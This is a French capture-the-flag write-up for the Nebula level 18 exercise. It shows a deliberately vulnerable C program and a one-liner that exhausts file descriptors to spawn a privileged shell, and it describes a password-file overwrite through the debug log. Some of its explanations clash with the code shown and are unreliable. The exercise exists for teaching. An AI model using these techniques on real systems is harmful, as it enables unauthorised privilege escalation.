Nebula niveau 18 : exploiter un programme C
Épuisement des descripteurs de fichiers, écrasement du fichier de mots de passe et autres vulnérabilités de Nebula niveau 18.
Analysez le programme C pour y trouver des vulnérabilités. Ce niveau propose une solution simple, une intermédiaire et une autre plus difficile ou moins fiable.
Connectez-vous avec le compte level18 et le mot de passe level18. Les fichiers sont dans /home/flag18.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
Plusieurs solutions sont possibles :
- Épuiser les descripteurs de fichiers : si le programme ne peut pas ouvrir le fichier de mots de passe, il nous authentifie automatiquement.
- Utiliser
site execpour écrire dans un fichier et modifier le fichier de mots de passe afin de connaître le mot de passe. - Il existe aussi une faille de chaîne de format et un débordement, mais ASLR et FORTIFY_SOURCE sont activés. Leur exploitation reste à faire.
Épuiser les descripteurs de fichiers
Vérifions la limite de descripteurs :
$ ulimit -n renvoie 1024.
Le processus en utilise déjà trois : entrée, sortie et erreur standard. Il faut en occuper 1021 pour empêcher l’ouverture suivante.
On pourrait écrire un programme C ouvrant un fichier en boucle, mais ce n’est pas nécessaire : la fonction de connexion ouvre le fichier sans le fermer dans le chemin d’erreur de lecture. Après l’authentification, le lancement du shell peut échouer.
$ python -c "print 'login\n'*1021+'closelog\nshell'" | ./flag18 --debug /dev/tty
Nous utilisons --debug parce que sh reçoit les arguments du programme. -d n’est pas accepté par ce shell, tandis que --debug permet aux deux programmes de traiter les arguments ; le programme vulnérable l’analyse incorrectement.
J’utilise /dev/tty pour récupérer le shell dans le terminal, même si je ne suis pas certain de cette explication.
Écraser le fichier de mots de passe
La faille de site exec permet d’écrire dans le fichier de débogage choisi. En ciblant le fichier de mots de passe, nous pouvons contrôler son contenu et obtenir un shell.
Seule difficulté : le \n final. Comme login supprime les sauts de ligne de l’entrée, nous ne pouvons pas le saisir.
La solution consiste à combiner deux écritures. La première exécution utilise -v, qui écrit le niveau 1 ; une autre utilise dix options -v, qui écrivent le niveau 10. En suspendant la première avec Ctrl+Z, sa position d’écriture reste juste avant le 0 ajouté par la seconde, sans saut de ligne à cet endroit.
Il suffit alors d’utiliser site exec a pour obtenir Starting up. Verbose level = 10a.